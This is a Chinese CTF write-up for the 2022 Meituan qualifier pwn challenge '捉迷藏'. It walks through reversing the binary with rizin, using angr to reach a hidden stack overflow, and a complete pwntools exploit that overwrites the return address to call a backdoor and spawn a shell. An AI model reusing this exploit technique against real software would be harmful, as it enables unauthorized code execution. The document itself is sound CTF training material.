2022 美团 CTF 初赛 Pwn 捉迷藏

angr 真牛.

64 位 ELF, 仅开启栈不可执行. main 函数是一堆读取和 if else (把 ida 干崩了). rizin 里 afl 发现后门函数, 直接给 shell. 同时还有 input_val, input_line, fksth, 分别是读取整数, 读取字符串, 判断字符串相等. 其中, input_line 还有第二个参数 size, 表示最多读取这么多个字符. 没开 canary 给后门函数, 可以想到栈溢出覆盖返回地址. 可能出现溢出的读入就只有 input_line, 去 main 函数找哪里可能溢出. s main; afx | grep line 总共 27 个, 一个个看 可以发现, 0x004079d7 位置的出现了溢出. 现在问题就变成了, 怎么从一万个 if 到这里.

通过搜索 WP 发现, 有个叫 angr 的东西可以做这个事. 尝试了一下, 结果把电脑内存跑光死机了.

rizin 里 pdg 把函数打出来, 丢入某个现代编辑器, 利用代码折叠功能, 删除不必要的代码块, 找到到溢出位置的路径, 大概是下面这样 (省略了读入和 fksth 之前对读入的加密, 保存字符串是为了 pdf | grep str 快速找到代码所在位置):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
undefined8 main(void)
{
  sym.imp.printf("sbAmJLMLWm:");
  if (iVar11 + iVar9 + iVar10 == 0x88b) {
    sym.imp.printf("xifvxwmNRc:");
  } else {
    iVar9 = sym.fksth((int64_t)&var_400h, (int64_t)"JlQZtdeJUoYHwWVHWPoRnkWCCzTUIJfxSFyySvunXdHQwaPgqCe");
    if (iVar9 == 0) {
      sym.imp.printf("aiJQEVAXBrdCYCEZ:");
    } else {
      sym.imp.printf("hbsoMdIRWpYRqvfClb:");
      iVar9 = sym.fksth((int64_t)&var_3c0h, (int64_t)"eRoTxWxqvoHTuwDKOzuPpBLJUNlbfmjvbyOJyZXYAJqkspYTkvatR");
      if (iVar9 == 0) {
        sym.imp.printf("PxtBycSeZr:");
      } else {
        iVar9 = sym.fksth((int64_t)&var_430h, (int64_t)"wLstsZkXukNiHeHyxjklnbIDJBvxCaCTxO");
        if (iVar9 == 0) {
          sym.imp.printf("MJiqfEWnWwNjv:");
        } else {
          sym.imp.printf("UTxqmFvmLy:");
          if (var_454h - var_450h == 0x2426) {
            sym.imp.printf("LLQPyLAOGJbnm:");
            iVar9 = sym.fksth((int64_t)&var_380h, (int64_t)"vkyHujGLvgxKsLsXpFvkLqaOkMVwyHXNKZglNEWOKM");
            if (iVar9 == 0) {
              sym.imp.printf("gRGKqIlcuj:");
              // stack overflow
            }
          }
        }
      }
    }
  }
  return 0;
}

可以看到, 程序非常贴心, if 里都是非常苛刻的条件, 而要走的路径几乎都在 else 里. 也就是说乱输也能很快找到最后两个 if

倒数第二个前面有 input_val 读入这两个值, 可以找到并构造. 最后一个 if 才需要读入加密. 这里可以用 angr 跑. (不过这些都是异或, 也可以直接异或回去)

angr 懒得写了, 没搞得太明白.

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
import subprocess
import angr
import sys

context(os='linux', arch='amd64', log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
# libc = ELF(libcname)

def n2b(x):
  return str(x).encode()

def one_gadgets():
  result = [int(i) for i in subprocess.check_output(['one_gadget', '-l', '1', '--raw', libcname]).decode().split(' ')]
  debug(f'search one gadgets from {libcname}: {[hex(i) for i in result]}')
  return result

def find(start, find, avoid):
  project = angr.Project(procname, auto_load_libs=False)
  state = project.factory.blank_state(addr=start)
  simulation = project.factory.simgr(state)
  simulation.explore(find=find, avoid=avoid)

  if simulation.found:
    solution = simulation.found[0]
    print(len(simulation.found))
    key = solution.posix.dumps(sys.stdin.fileno())
    print(key)
    return key
  else:
    print('not found')


io.sendafter(b'sbAmJLMLWm:', b' ' * 8)
io.sendafter(b'HuEqdjYtuWo:', b' ' * 0x33)
io.sendafter(b'hbsoMdIRWpYRqvfClb:', b' ' * 0x35)
io.sendafter(b'tfAxpqDQuTCyJw:', b' ' * 0x22)
io.sendafter(b'UTxqmFvmLy:', b' ' * 3 + b'9254 0 ' + b' ' * 3)

payload = find(0x004076de, 0x004079ba, 0x00407a2f)
io.sendafter(b'LLQPyLAOGJbnm:', payload)

ret = 0x00407b44
payload = b'a' * 0xf + p64(0xdeadbeef) + p64(ret) + p64(elf.sym['backdoor'])
payload = payload.ljust(0x37, b'\x00')
io.sendafter(b'gRGKqIlcuj:', payload)

io.interactive()